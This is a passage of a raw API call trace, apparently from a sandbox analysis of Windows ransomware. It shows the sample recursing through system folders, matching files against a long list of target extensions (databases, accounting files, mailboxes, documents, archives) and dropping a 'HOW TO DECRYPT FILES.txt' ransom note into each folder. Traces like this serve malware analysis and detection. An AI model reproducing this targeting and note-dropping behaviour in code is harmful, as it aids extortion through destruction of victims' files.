(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.pdf") returned 0 [0100.708] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.cert") returned 0 [0100.708] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.docm") returned 0 [0100.708] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.xlsm") returned 0 [0100.708] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.dwg") returned 0 [0100.708] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.nd") returned 0 [0100.709] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.tlg") returned 0 [0100.709] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.lgb") returned 0 [0100.709] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.mov") returned 0 [0100.709] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.xdw") returned 0 [0100.709] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.ods") returned 0 [0100.709] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.wav") returned 0 [0100.709] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.mp3") returned 0 [0100.709] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.aiff") returned 0 [0100.709] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.flac") returned 0 [0100.710] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.m4a") returned 0 [0100.710] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.csv") returned 0 [0100.710] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ff7a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ff7a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ff7a90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.Access.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0100.710] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.710] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50ff7a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa664ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa664ce90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0100.710] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.710] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa67c9c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa67c9c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa67c9c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0050, dwReserved1=0x69006c, cFileName="Policy.11.0.Microsoft.Office.Interop.Excel", cAlternateFileName="POLICY~1.EXC")) returned 1 [0100.710] lstrcmpA (lpString1=".", lpString2="Policy.11.0.Microsoft.Office.Interop.Excel") returned -1 [0100.710] lstrcmpA (lpString1="..", lpString2="Policy.11.0.Microsoft.Office.Interop.Excel") returned -1 [0100.711] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.711] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Excel" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel" [0100.711] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa67c9c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa67c9c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa67c9c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.712] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.712] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa67c9c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa67c9c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa67c9c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.712] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.712] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.712] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5221e250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa67a3af0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa67a3af0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0100.712] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.712] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.712] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\*.*") returned="*.*" [0100.712] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c" [0100.712] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5221e250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa67a3af0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa67a3af0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650031, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.724] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.724] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5221e250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa67a3af0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa67a3af0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.724] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.724] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.724] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60aa6770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60aa6770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60aa6770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x382, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.Excel.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0100.724] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.724] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Excel.config") returned -1 [0100.725] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Excel.config") returned -1 [0100.725] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.Excel.config") returned -1 [0100.725] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0100.725] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\" [0100.725] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.725] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.725] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.excel\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0100.725] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.excel\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.727] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.728] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.728] CloseHandle (hObject=0x90) returned 1 [0100.728] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Excel.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config" [0100.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.ems") returned 0 [0100.729] lstrlenA (lpString="*.ems") returned 5 [0100.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.db") returned 0 [0100.729] lstrlenA (lpString="*.db") returned 4 [0100.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.dbf") returned 0 [0100.729] lstrlenA (lpString="*.dbf") returned 5 [0100.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.myox") returned 0 [0100.729] lstrlenA (lpString="*.myox") returned 6 [0100.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.myo") returned 0 [0100.729] lstrlenA (lpString="*.myo") returned 5 [0100.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.qbw") returned 0 [0100.729] lstrlenA (lpString="*.qbw") returned 5 [0100.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.qbb") returned 0 [0100.729] lstrlenA (lpString="*.qbb") returned 5 [0100.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.qbm") returned 0 [0100.729] lstrlenA (lpString="*.qbm") returned 5 [0100.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.qbo") returned 0 [0100.729] lstrlenA (lpString="*.qbo") returned 5 [0100.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.qbx") returned 0 [0100.729] lstrlenA (lpString="*.qbx") returned 5 [0100.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.qba") returned 0 [0100.729] lstrlenA (lpString="*.qba") returned 5 [0100.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.qby") returned 0 [0100.730] lstrlenA (lpString="*.qby") returned 5 [0100.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.qbj") returned 0 [0100.730] lstrlenA (lpString="*.qbj") returned 5 [0100.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.ofx") returned 0 [0100.730] lstrlenA (lpString="*.ofx") returned 5 [0100.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.qif") returned 0 [0100.730] lstrlenA (lpString="*.qif") returned 5 [0100.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.mye") returned 0 [0100.730] lstrlenA (lpString="*.mye") returned 5 [0100.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.mbox") returned 0 [0100.730] lstrlenA (lpString="*.mbox") returned 6 [0100.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.eml") returned 0 [0100.730] lstrlenA (lpString="*.eml") returned 5 [0100.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.pst") returned 0 [0100.730] lstrlenA (lpString="*.pst") returned 5 [0100.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.ost") returned 0 [0100.730] lstrlenA (lpString="*.ost") returned 5 [0100.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.idx") returned 0 [0100.730] lstrlenA (lpString="*.idx") returned 5 [0100.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.dbx") returned 0 [0100.730] lstrlenA (lpString="*.dbx") returned 5 [0100.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.sql") returned 0 [0100.730] lstrlenA (lpString="*.sql") returned 5 [0100.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.mdb") returned 0 [0100.731] lstrlenA (lpString="*.mdb") returned 5 [0100.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.fdb") returned 0 [0100.731] lstrlenA (lpString="*.fdb") returned 5 [0100.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.wab") returned 0 [0100.731] lstrlenA (lpString="*.wab") returned 5 [0100.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.dat") returned 0 [0100.731] lstrlenA (lpString="*.dat") returned 5 [0100.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.txt") returned 0 [0100.731] lstrlenA (lpString="*.txt") returned 5 [0100.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.jpeg") returned 0 [0100.731] lstrlenA (lpString="*.jpeg") returned 6 [0100.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.jpg") returned 0 [0100.731] lstrlenA (lpString="*.jpg") returned 5 [0100.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.png") returned 0 [0100.731] lstrlenA (lpString="*.png") returned 5 [0100.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.php") returned 0 [0100.731] lstrlenA (lpString="*.php") returned 5 [0100.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.cs") returned 0 [0100.731] lstrlenA (lpString="*.cs") returned 4 [0100.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.cpp") returned 0 [0100.731] lstrlenA (lpString="*.cpp") returned 5 [0100.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.rar") returned 0 [0100.731] lstrlenA (lpString="*.rar") returned 5 [0100.732] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.zip") returned 0 [0100.732] lstrlenA (lpString="*.zip") returned 5 [0100.732] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.html") returned 0 [0100.732] lstrlenA (lpString="*.html") returned 6 [0100.732] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.htm") returned 0 [0100.732] lstrlenA (lpString="*.htm") returned 5 [0100.732] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.xlsx") returned 0 [0100.732] lstrlenA (lpString="*.xlsx") returned 6 [0100.732] PathMatchSpecA 